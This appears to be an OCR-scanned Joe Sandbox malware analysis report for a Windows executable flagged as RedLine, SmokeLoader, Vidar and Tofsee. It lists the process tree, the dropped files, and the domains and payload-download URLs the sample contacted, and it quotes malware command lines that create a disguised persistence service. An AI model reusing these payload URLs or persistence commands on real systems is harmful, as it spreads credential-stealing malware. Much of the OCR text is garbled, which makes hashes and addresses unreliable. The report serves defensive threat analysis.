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Windows Analysis Report T5dzWoyBkt.exe
Overview

General Information Detection

Sample T5dzWoyBkt.exe
Name: MALICIOUS

Analysis ID: 548650

Classification

Yara detected RedLine Stealer

Detected unpacking (ovenwrites its o...

@
«Q
>
2
c
=
@
]

MDS: f073b540a352759. Yara detected SmokeLoader
SHAL: af036e219b6e7d6. System process connects to networ...
iHAZSG: 067676900265¢8.. Detected unpacking (changes PE se...
ags: i r

| fg Antivirus detection for URL or domain
nfos: s

i E ﬁ ‘f e Q Multi AV Scanner detection for subm...

v ¥

Benign windows process drops PE f...

Most interesting Screenshot:

RedLine

Yara detected Vidar stealer

Multi AV Scanner detection for doma...

Multi AV Scanner detection for dropp...

Whitelisted: false

Confid 100% Yara detected Tofsee
onfidence: b

Sigma detected: Copying Sensitive ...

a DLL or memory area i

Process Tree
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= System is wl0x64
e [ svchostexe (PID: 6944 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
. J‘ T5dzWoyBkt.exe (PID: 7000 cmdline: "C:\Users\user\Desktop\T5dzWoyBkt.exe" MD5: FO73B540A352759BB44D7A1EB641FE61)

e [ T5dzWoyBkt.exe (PID: 1356 cmdline: "C:\Users\user\Desktop\T5dzWoyBkt.exe" MD5: FO73B540A352759BB44D7A1EB641FE61)

e [ explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)
. {t( AD19.exe (PID: 5384 cmdline: C:\Users\user\AppData\Local\Temp\AD19.exe MD5: 8C23CC666860658E657DC4652A48FF91)
e [E! AD19.exe (PID: 2824 cmdline: C:\Users\usen\AppData\Local\Temp\AD19.exe MD5: 8C23CC666860658E657DC4652A48FF91)

C48A.exe (PID: 6860 cmdline: C:\Users\user\AppData\Local\Temp\C48A.exe MD5: 1F935BFFFOF8128972BC69625E5B2A6C)

. Q’ WerFault.exe (PID: 5700 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6860 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
. {} DACD.exe (PID: 4616 cmdline: C:\Users\user\AppData\Local\Temp\DACD.exe MD5: 6146E19CEFC8795E7C5743176213B2C2)

e B timeoutexe (PID: 4792 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)
. {} E5F9.exe (PID: 6076 cmdline: C:\Users\user\AppData\Local\Temp\E5F9.exe MD5: EQ7EA1C4CC3EFE421BC13D3A1FA4D0A3)
cmd.exe (PID: 3228 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\bebxnvfo\ MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. cmd.exe (PID: 4412 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\npcipivi.exe" C:\Windows\SysWOW64\b

ebxnvfo\ MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e B sc.exe (PID: 5344 cmdline: C:\Windows\SysWOWe64\sc.exe" create bebxnvfo binPath="C:\Windows\SysWOW64\bebxnvfo\npcipivi.exe /d\"C:\Users\user\AppDat

a\Local\Temp\E5F9.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)
. conhost.exe (PID: 1316 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ EF80.exe (PID: 6920 cmdline: C:\Users\user\AppData\Local\Temp\EF80.exe MD5: 9D7EB9BE3B7F3A023430123BA099B0B0)
e [ EF80.exe (PID: 3156 cmdline: C:\Users\user\AppData\Local\Temp\EF80.exe MD5: 9D7EB9BE3B7F3A023430123BA099B0B0)
svchost.exe (PID: 7048 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 7124 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 7152 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
SgrmBroker.exe (PID: 5684 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EAG)
svchost.exe (PID: 2992 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve MD5: 32569E403279B3FD2EDB7EBD036273FA)
. == MpCmdRun.exe (PID: 6324 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe” -wdenable MD5: A267555174BFA53844371226F482B86B)
. conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ svchostexe (PID: 6488 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [B svchostexe (PID: 5380 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
. J‘ eijrgvi (PID: 5344 cmdline: C:\Users\user\AppData\Roaming\eijrgvi MD5: FO73B540A352759BB44D7A1EB641FE6L)
e [ eijrgvi (PID: 4020 cmdline: C:\Users\user\AppData\Roaming\eijrgvi MD5: FO73B540A352759BB44D7A1EB641FE61)
e [ svchostexe (PID: 1068 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
o [ svchost.exe (PID: 6128 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
. w WerFault.exe (PID: 6372 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6860 -ip 6860 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
= cleanup

EEEEE

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source Rule Description Author Strings

dump.pcap JoeSecurity_RedLine_1 Yara detected Joe Security
RedLine Stealer

Memory Dumps

Source Rule Description Author Strings
00000008.00000000.333308223.0000000004DE JoeSecurity_SmokelLoader Yara detected Joe Security
1000.00000020.00020000.sdmp 2 SmokelLoader
0000000E.00000002.400946485.00000000004F JoeSecurity_SmokelLoader Yara detected Joe Security
0000.00000004.00000001.sdmp 2 Smokeloader
00000028.00000000.450660970.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer
00000028.00000000.456129483.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer
00000028.00000000.451407347.000000000040 JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00000001.sdmp RedLine Stealer

Click to see the 14 entries
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Unpacked PEs

Source Rule Description Author Strings
14.2.AD19.exe.400000.0.unpack JoeSecurity_SmokeLoader Yara detected Joe Security
2 SmokeLoader
25.2.EF80.exe.365fb70.1.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer
15.2.€eijrgvi.400000.0.unpack JoeSecurity_SmokeLoader Yara detected Joe Security
2 SmokelLoader
12.2.eijrgvi.47al15a0.1.raw.unpack JoeSecurity_SmokeLoader Yara detected Joe Security
2 SmokeLoader
7.1.T5dzWoyBkt.exe.400000.0.unpack JoeSecurity_SmokeLoader Yara detected Joe Security
2 SmokeLoader

Click to see the 13 entries

Sigma Overview

System Summary:

Sigma detected: Copying Sensitive Files with Credential Data
Sigma detected: Suspicious Del in CommandLine

Sigma detected: New Service Creation

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Compliance:

Detected unpacking (overwrites its own PE header)

Networking:

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

System Summary:

o
QD
«Q
[+
(2}
Q
=
[o0)
w
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Data Obfuscation:

=

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

=

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

“ =

Anti Debugging:

=

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

Lowering of HIPS | PFW | Operating System Security Settings:

Stealing of Sensitive Information:

Yara detected RedLine Stealer
Yara detected SmokeLoader
Yara detected Vidar stealer

Yara detected Tofsee

Remote Access Functionality:

Yara detected RedLine Stealer

<
)
=
o
(=%
@
=
1]
2]
=
@
o
7]
3
[=]
)
Qo
@
=

Yara detected Vidar stealer

Yara detected Tofsee
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Behavior Graph
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Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic
Delphi
Java

.Net C# or VB.NET

C, C++ or other language

Is malicious
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Excel 2016 Word 2016
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HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
T5dzWoyBkt.exe

Dropped Files

Source
C:\Users\user\AppData\Local\Temp\C48A.exe
C:\Users\user\AppData\Local\Temp\npcipivi.exe
C:\Users\user\AppData\Local\Temp\EF80.exe
C:\Users\user\AppData\Local\Temp\DACD.exe
C:\Users\user\AppData\Local\Temp\CD6F.exe
C:\Users\user\AppData\Loca\Temp\DB1C.exe
C:\Users\user\AppData\Local\Temp\A9A9.exe
C:\Users\user\AppData\Local\Temp\AD19.exe
C:\Users\user\AppData\Local\Temp\B94A.exe
C:\Users\user\AppData\Local\Temp\E5F9.exe
C:\ProgramData\sqlite3.dll
C:\ProgramData\sqlite3.dll
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll
C:\Users\user\AppData\Local\Temp\A9A9.exe
C:\Users\user\AppData\Local\Temp\B94A.exe

Copyright Joe Security LLC 2022

Detection
42%

Detection
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%
3%
0%
3%
0%
47%
23%

Scanner

Virustotal

Scanner

Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Metadefender
ReversingLabs
Metadefender
ReversingLabs
ReversingLabs

Metadefender

10 AM
022 D

Label

Label

Win32.Trojan.Generic

Link

Browse

Link

Browse

Browse

Browse
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https://www.virustotal.com/gui/file/067e76900265c87d66a44f765bb720bd310e52181badf19efd63f30210f62001/detection/f-067e76900265c87d66a44f765bb720bd310e52181badf19efd63f30210f62001-1641430026
https://www.metadefender.com/#!/results/file/YnpJeE1USXhOMnBUV1ZNd1IwNVBWbGdpMF9IQzYzVnlK/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1USXhOMnBUV1ZNd1IwNVBWbGdpMF9IQzYzVnlK/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDEwM2hfWUVTYTlPVTQ0dVJvMHlRTks/regular/analysis



https://www.metadefender.com/#!/results/file/bzIyMDEwNTNDOU5NcGhuVnhwU2pxTUNOVVps/regular/analysis
https://www.virustotal.com/gui/url/ee51d1a0f711d12fe7d846f27deed9947bbffefe9a17d1aa2e34f554b7d858c6/detection/u-ee51d1a0f711d12fe7d846f27deed9947bbffefe9a17d1aa2e34f554b7d858c6-1641168486
https://www.virustotal.com/gui/url/7767ea836f3f437638500c6c6f28a809780a2bb9753ba07891e54f07feb1ada0/detection/u-7767ea836f3f437638500c6c6f28a809780a2bb9753ba07891e54f07feb1ada0-1641227209
https://www.virustotal.com/gui/url/8b5726f3bfa05845de88d87d244eb90ccb48e8519c09fe3746c6e9042fe70d3c/detection/u-8b5726f3bfa05845de88d87d244eb90ccb48e8519c09fe3746c6e9042fe70d3c-1640709825
https://www.virustotal.com/gui/url/80e697c9ad614b988891ccc4b800c823dace0fa8fe38dbbcf9f666a263e0c534/detection/u-80e697c9ad614b988891ccc4b800c823dace0fa8fe38dbbcf9f666a263e0c534-1641424643

Source Detection Scanner Label Link

http://https://goo.su/afu3 0% Avira URL Cloud safe
http://file-file-host4.com/tratata.php 0% URL Reputation safe
http:i/https://iwww.disneyplus.com/legallyour-california-privacy-rights 0% URL Reputation safe
http:ifhttps://api.ip.sb/ip 0% URL Reputation safe

http://file-file-host4.com/sqlite3.dIl 0% URL Reputation safe
http:ifhttps://iwww.tiktok.com/legal/report/feedback 0% URL Reputation safe
http:ifhttps://%s.xboxlive.com 0% URL Reputation safe
http:i/https://iwww.disneyplus.com/legal/privacy-policy 0% URL Reputation safe
http://https://185.233.81.115/32739433.dat?iddqd=1 0% Avira URL Cloud safe
http:ifhttps://dynamic.t 0% URL Reputation safe
http://file-file-host4.com/tratata.phpx 0% Avira URL Cloud safe
http://https://disneyplus.com/legal. 0% URL Reputation safe
http:/fhelp.disneyplus.com. 0% URL Reputation safe
hitp://https://%s.dnet.xboxlive.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
unicupload.top 54.38.220.85 true false high
f0616387.xsph.ru 141.8.193.236 true false high
host-data-coin-11.com 139.28.222.172 true false high
bit.ly 67.199.248.10 true false high
bitly.com 67.199.248.15 true false high
cdn.discordapp.com 162.159.133.233 true false high
goo.su 104.21.38.221 true false high
transfer.sh 144.76.136.153 true false high
privacytools-foryou-777.com 139.28.222.172 true false high
file-file-host4.com 139.28.222.172 true false high
data-host-coin-8.com 139.28.222.172 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:// false high
https://cdn.discordapp.com/attachments/928021103304134716/928022474753474631/Teemle

ss.exe

hitp://f0616387.xsph.ru/blcd.exe false high
http:/fhost-data-coin-11.com/ false e URL Reputation: safe unknown
http:i/https://bitly.com/a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn- false high

131.anonfiles.com%2FPOm5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe

http:ihttps://bit.ly/3eHgQQR false high
http://https://goo.su/afu3 false e Avira URL Cloud: safe unknown

http://file-file-host4.com/tratata.php false e URL Reputation: safe unknown

http://file-file-host4.com/sqlite3.dll false e URL Reputation: safe unknown
http:ifhttps:/itransfer.sh/get/BaQ0zM/d.exe false high
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https://www.virustotal.com/gui/url/ee51d1a0f711d12fe7d846f27deed9947bbffefe9a17d1aa2e34f554b7d858c6/detection/u-ee51d1a0f711d12fe7d846f27deed9947bbffefe9a17d1aa2e34f554b7d858c6-1641168486
https://www.virustotal.com/gui/url/7767ea836f3f437638500c6c6f28a809780a2bb9753ba07891e54f07feb1ada0/detection/u-7767ea836f3f437638500c6c6f28a809780a2bb9753ba07891e54f07feb1ada0-1641227209
https://www.virustotal.com/gui/url/8b5726f3bfa05845de88d87d244eb90ccb48e8519c09fe3746c6e9042fe70d3c/detection/u-8b5726f3bfa05845de88d87d244eb90ccb48e8519c09fe3746c6e9042fe70d3c-1640709825
https://www.virustotal.com/gui/url/80e697c9ad614b988891ccc4b800c823dace0fa8fe38dbbcf9f666a263e0c534/detection/u-80e697c9ad614b988891ccc4b800c823dace0fa8fe38dbbcf9f666a263e0c534-1641424643

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious
139.28.222.172 host-data-coin-11.com Russian Federation - 50113 SUPERSERVERSDATACE false

NTERRU

188.166.28.199 unknown Netherlands - 14061 DIGITALOCEAN-ASNUS false
86.107.197.138 unknown Romania [T} 39855 MOD-EUNL false
54.38.220.85 unicupload.top France [T} 16276 OVHFR false
162.159.133.233 cdn.discordapp.com United States = 13335 CLOUDFLARENETUS false
104.21.38.221 goo.su United States = 13335 CLOUDFLARENETUS false
144.76.136.153 transfer.sh Germany ] 24940 HETZNER-ASDE false

141.8.193.236 f0616387.xsph.ru Russian Federation - 35278 SPRINTHOSTRU false

94.103.94.64 unknown Russian Federation - 48282 VDSINA-ASRU false

67.199.248.15 bitly.com United States = 396982 GOOGLE-PRIVATE- false
CLOUDUS

67.199.248.10 bit.ly
91.243.44.130 unknown
Private

P

192.168.2.1

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

Copyright Joe Security LLC 2022

United States 396982 GOOGLE-PRIVATE- false
CLOUDUS
Russian Federation - 395092 SHOCK-1US false

34.0.0 Boulder Opal
548650

06.01.2022
08:07:13
CloudBasic

Oh 15m 7s

false

light
T5dzWoyBkt.exe
default.jbs
Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
46

N O o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.troj.spyw.evad. WinEXE@50/36 @73/16
Failed
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HDC Information: e Successful, ratio: 21% (good quality ratio 15.1%)
e Quality average: 55.1%
e Quality standard deviation: 40.3%

HCA Information: ® Successful, ratio: 57%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

08:08:51 Task Scheduler Run new task: Firefox Default Browser Agent A34A81EA03BD5CB7 path: C:\Users\user\AppData\Roaming\eij
rgvi

08:09:00 API Interceptor 7x Sleep call for process: svchost.exe modified

08:09:06 API Interceptor 1x Sleep call for process: DACD.exe modified

08:09:10 API Interceptor 1x Sleep call for process: MpCmdRun.exe modified

08:09:23 API Interceptor 1x Sleep call for process: WerFault.exe modified

08:10:01 API Interceptor 15x Sleep call for process: EF80.exe modified

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context
Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_C48A.exe_2673aa158c6a893c1138be40a650902eb2d08864 a906c4f4_16b24a5a\Repo
rt.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 65536

Entropy (8bit): 0.8131689038162644

Encrypted: false

SSDEEP: 96:3EYFM5m8ghjhQoW7RR6tpXIQcQhc6ihcEVew3Sj+HbHg/opAnQODFQ3qOEX/OyE0: 7K5M84HV+{2Aj1f/u7sIS2741tL1
MD5: FFA64FFB53135179CA3504ECEA761388
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C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_C48A.exe 2673aa158c6a893c1138be40a650902eb2d08864 a906c4f4 16b24a5a\Repo

rt.wer
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

BD04CF2A570DC92A4E4A3F01FE77B765608A8519
C0814EC4BE749555B9BC57CCOD2D45EF723092AE9F63FB67C712055A078EB7AA

E4224BBCFD580ADSE1CCB91FA4DACSEAFSEEEL17E7781CABA4F1A6293C63D48EC8DSCEFA77717145978E6C182E11D2F7BF6A03F1EB2684F1AAACO65E0C2DC
0ceB

false

unknown

.V.ersion=1..Eve.ntTyp.e=BEX..EventTim.e=13.228595894.6.6.74.4424...ReportTy.pe=2..Cons.ent=1..UploadTime=13.
2.8.5.9.5.8.9.6.1.4.2439.7.1....R.e.p.o.rt.Status.=524384..Reportldentifier=ab9e.45e8.-e6.17.-4e.6.4.-86.f0.-4aa5bf6.044.96...l
nte.gr.ato.r.R.e.p.ortlde.n.tifier=.d9.0.4.b.d5.c.-9.809.c.-.456.5.-9b.df-9.9.e.6.1.86.bf3.0e...Wow.6.4H0.5s.t=344.04..W.0w.6.4G.ues.t=332.
...N.s.A.p.p.N.am.e.=.C.4.8.A..ex.e...Ap.p.S.es.s.io.n.G.u.id=.0.0.0.0.1.a..c.-0.0.0.1.-0.0.1.c.-.8.1.2.4.-.8.d.b.5.1.7.0.3.d.8.0.1....T.a.r.g.e.t. A.p.p.l.d.=W...0.
0.0.6.6.4.9.€.4.6.4.4.9.9.2.e.d.c.d.0.e.2.a.2.b.e.8.b.9.£ff5.0.d.3.0.0.0.0.f.f.£.f.1.0.0.0.0.1.8.d.b.5.5.c.5.1.9.h.b.e.1.4.3.1.1.6.6.2.2.0.6.f.a.e.e.c.c.9.7.5.6.6.e.2.a.f.d.l.C.
4.8.A..exe...Targ.etAp.pV.er=2021//11//12..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9092.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

51012

3.059697002427175

false
1536:h5HI0Z00CBNC2H5yZyOk4G0OBd/QIRB7RRjKSQLKPFTINWSAS:h5HI0Z00CBNC2H5yZyOk4G0Bd/QJ37RL
9639EE6323474BD1727E280FB9036B21

1A557BCE0725554A606127E6CF196BC8000ED29D
E29D9F54930D000AB92189D12B4DEB3455E7C6E7F946A1BC80AD2A3FC32FB0D2
84943A1730E116D21C749FAFE4EBB185F301C960897027648350591AF67718F6893401E39D031A7A2406ABIEEOFE67DFB78908191FE3BFI86FA9E301B73B8ABF
false

unknown

l.m.a.g.e.N.am.e.,.U.niqu.eP.ro.ces.s.ld, Numb.erO.fThreads.,W.o.rkingS.etPrivatesS.ize.,HardFaultCount,Numb.erOfThrea.ds.H.
i.g.h.Watermark.,.Cy.c.leTime.,.CreateTime.,UserTime.,KernelTim.e.,Bas.e.Priority.,.PeakV.irtualSize.,V.irtualS.ize.,.P.ag.e.F.
a.u.lt.C.o.u.nt., W.orking.S.etS.ize., .PeakW.orkingS.etSize.,.QuotaP.eakP.agedP.o.0.lUsage.,QuotaP.agedP.o.0lUs.ag.e.,QuotaP.e.
a.k.N.o.n.P.a.g.e.d.P.o.o.l.Us.a.g.e.,..Q.u.o.t.a.N.o.n.P.a.g.e.d.P.0.0lUs.a.g.e,.P.agefileUs.ag.e., PeakP.ag.efileUs.ag.e.,PrivateP.ag.e.C.o.un.
t.,.R.e.a.d.O.p.eratio.n.Co.unt, Write.O.p.eratio.n.C.o.unt, Other0O.p.eration.C.ount, ReadTransfercC.o.unt, WriteTran.s.ferC.o.u.
n.t.,.O.th.erT.ransfer.C.o.u.nt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9487.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerfFault.exe

Mini DuMP crash report, 14 streams, Thu Jan 6 16:09:08 2022, 0x1205a4 type

dropped

55196

2.220467513671632

false
192:Nf8iGejZt0147fO6VeSCfYrCs508+dvIVeUxZMPIKHNDbQaF6pBoUI3i0ig5GT27:1/n0W6kqQZPDUgnFjP2/m4
E449097EE84DDED661FOE50B9294BB93

3F4B83338B2B630CD955D1D6D5D7C8EBA78AD486
41FB819F129B64C90C06CAG0FD835A79294496DF5397DAA3D3939B16C5DF9A06
FD6964058D1F2B34FC53ED437E20D1ESEEC64BEAFC5C920290167B3E3BEE63AFDFC5B0325D911D8C9733001E66CD587FEF698149198F0186F65B4D87C101D61
false

unknown

MDMP....... ....... BB | D2/ RN T L I T D SR Lo N Ui B Genuineln
e Paaccific, Standard. . T.im.e. P.a.c.ific..D.ay.lig.ht T.im.e

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A96.tmp.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.697350819507529

false
96:9GiZYWjQojY11QYIYVWaUH2YEZ|DYtziAOpDgwhTl4nyzaSrGEupjlr83:9jZDnfyY X8maSrVupsrd3
95A6C17192DAA133C694926E425D1279

A5407D55DA2E8221041112C522C0C03515AD605E
BCE3C15C5EC4076085FF28BE8IC16A516C05B4A1B9023A000C20B487A8A1C188
DD2EC8A580F32E43F7C26FC011ED981E76B1685688B9F02181638075C00418A548C22634D96141FE2BC798C59F451801AB3FOEFA6411772BDCC1DC5CAB5337C
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A96.tmp.txt

Malicious:
Reputation:

Preview:

false

unknown

B..T.imerRes.olution. ... ... ... ... .. .. 1.5.6.2.5.0....B...P.@.0.€.S..Z.8. . . 4.0.9.6.....B...N.L
m.b.e.r.O.f.P.hys.icalPages...........................1..04.83.15...B..Lowes.tPhysicalPageNumber ............................. 1.
...B..H.i.g.h.estP.hys.icalPageNumber ......................1.310.7.19...B..Allo.cationGranularity. .......... .. ... .. .. .......
.6.5.,5.3.6.....B...M.i.n.im.um.U.s.er.M.o.deAd.dress........ ..........6.5536...B..MaximumuUs.erModeAddress.................

.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B..Ac.tiv.e.P.ro.cesss.orsAffinityMask ......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E40.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

51964

3.0593963688809636

false
1536:qaHZ8IL+BN/ELyxQg4JRfMvpQVICBNRfiwLQ1XQO06:qaHZ8IL+BN/ELyxQg4JRfMvpQVIKNR{/
00B7C8A4058E7DE333FE9CCA099CA575

F1EE0480008B33C87ADOC5AAA1B3385383658316
92413D4622D409D9508F037319BFB8F722753FBCCBFF91243C9D9A9146526D0B

D766431C5BBBA2B422176F9D1A0ECC85BDF9223DB6F3042ED477091C44C035F775BA556F3B94C88E2EAD979CA8CICCEEFO3EDD26A45EF353F7E2BBAOSALFF
95

false

unknown

l.m.a.g.e.N.am.e.,.U.n.i.qu.e.P.ro.ce.s.s.ld., Numb.erO.fThreads.,W.orkingS.etPrivatesS.ize.,HardFaultCount,Numb.erOfThrea.d.s.H.
i.g.h.watermark.,.Cy.cleTim.e.,.CreateTime.,UserTime.,KernelTim.e.,Bas.e.Priority.,PeakV.irtualSize.,V.irtualS.ize.,.P.ag.e.F.
a.u.lt.C.o.u.nt, W.orking.S.etS.ize., .P.eakW.orkingsS.etSize.,.QuotaP.eakP.agedP.o.0.lUsage.,QuotaP.agedP.o.0lUs.ag.e.,QuotaP.e.
a.k.N.o.n.P.a.g.e.d.P.o.o.l.Us.a.g.e.,..Q.u.o.t.a.N.o.n.P.a.g.e.d.P.0.0lUs.a.g.e,.P.agefileUs.ag.e., PeakPag.efileUsag.e.,PrivateP.ag.e.C.o.un.
t.,.R.e.a.d.O.p.eratio.n.Co.unt, Write.O.p.eratio.n.C.o.unt,Other0O.p.eration.C.ount, ReadTransferC.o.unt, WriteTran.s.ferC.o.u.
n.t.,.O.the.rT.ransfer.C.o.u.nt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9EBA.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8386

3.6950308057268044

false
192:Rrl7r3GLNiXm6/F6efh6YF2SUgDfBcgmftS1zCpDy89bwpsfOhQm:RrIsNi26Z6YUSUgDigmftS1YwCf2
44D50011F077C1546B84C2E9B796D7DF

0D97ED9AAB461386AD0781483B0421B6B7FB039C
29211ABA4C27408F9A6F6A331C61C698AFAF52A16959C4894F6B8A18DFDABACA

F27987FE689FCB1011F654DEB53D159DE092B7ACE1AB928B73F1C6DFA72DBECD26891B479902DB14FBBE2477C86C71F46C05CESFF932B85996C5D96F70C5EE
BE

false

unknown

.<?2x.ml version="1.0" en.c.o.ding="UTF-16."?>..<WERR.eportMetadata>...<0.SVersionlnformation>....<W.in.d.
o.w.s.N.T.V.ers.i.o.n>10..0.</W.ind.owsN.TV.e.rs.io.n> <.B..ild>171.34</Build>.....<Pro.d.u.c.t>(0x3.0).. .W.indow.s. .1.0..P.ro.
</P.roduct>....<Editio.n>Professional</Edition>....<BuildString>17134.1.amd64fre.rs4. _releas.e.18.0.4.1.0.-180.4.
<./B.u.ild.S.tring.> .<.R.ewvision>1l</Reuvision>....<Flavo.r>Multipro.cess.or Free</Flav.or>....<Architecture>X6.4.</
Architecture>....<LClD>1033</LCIlD>...</0.SV.ersionlnformation>...<Pro.cess.lnformation>....<P.id>6.86.0</P..
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F7A.tmp.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
